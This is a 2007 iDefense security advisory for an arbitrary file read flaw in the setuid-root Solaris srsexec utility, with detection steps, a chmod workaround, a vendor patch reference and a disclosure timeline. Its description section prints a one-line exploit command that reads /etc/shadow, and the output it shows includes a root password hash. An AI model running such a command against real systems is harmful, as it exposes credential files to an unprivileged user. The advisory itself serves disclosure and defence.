Sun Microsystems Solaris SRS Proxy Core srsexec Arbitrary File Read
Vulnerability

iDefense Security Advisory 05.10.07
http://labs.idefense.com/intelligence/vulnerabilities/ 
May 10, 2007

I. BACKGROUND

The srsexec utility is part of the SRS Proxy Core package that is
available with Solaris 10. It is installed setuid root by default. For
more information about this software, visit the following URL.

http://www.sun.com/service/netconnect/ 

II. DESCRIPTION

Local exploitation of a design error vulnerability in the srsexec binary
optionally included in Sun Microsystems Inc., Solaris 10 allows
attackers to gain access to sensitive information, such as the root
password hash.

The vulnerability specifically exists because of a failure to drop
permissions or check the permissions on the file specified for the
target file. If a user specified verify only mode (-v) as well as debug
mode (-d), and specified a protected file such as /etc/shadow, srsexec
will display the first line of /etc/shadow in the debug messages. The
following demonstrates a sample exploitation session:

  $ /opt/SUNWsrspx/bin/srsexec -dvb /etc/shadow OWNED
  verify_binary(OWNED)
  srsexec: binary_name: OWNED
  srsexec: name_buf:    OWNED_______________
  binaries file line:   root:omhyabndnAtNw:6
  binaries file line:   :6445::::::
  smmsp:NP
  Security verification failed for binary: OWNED
  see SYSLOG(/var/adm/messages) for errors

III. ANALYSIS

Exploitation of this vulnerability allows attackers to gain access to
the root password hash or other sensitive information.

In order to exploit this vulnerability, an attacker must have local user
access to the system.

IV. DETECTION

iDefense has confirmed the existence of this vulnerability in Solaris 10
with the SUNWsrspx package installed. In order to determine if this
package is installed, an administrator can execute the following
command:

  # pkginfo SUNWsrspx

If this command returns 'ERROR: information for "SUNWsrspx" was not
found', then the system does not have the affected package installed
and is not vulnerable.

V. WORKAROUND

Remove the setuid bit from the srsexec binary:

  # chmod -s /opt/SUNWsrspx/bin/srsexec

VI. VENDOR RESPONSE

Sun Microsystems has addressed this vulnerability with a patch release.
For more information, consult Sun Alert ID 102891 at the following URL.

http://sunsolve.sun.com/search/document.do?assetkey=1-26-102891-1 

VII. CVE INFORMATION

A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
been assigned yet.

VIII. DISCLOSURE TIMELINE

11/07/2006  Initial vendor notification
11/10/2006  Initial vendor response
05/10/2007  Coordinated public disclosure

IX. CREDIT

The discoverer of this vulnerability wishes to remain anonymous.

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X. LEGAL NOTICES

Copyright =A9 2007 iDefense, Inc.

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Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
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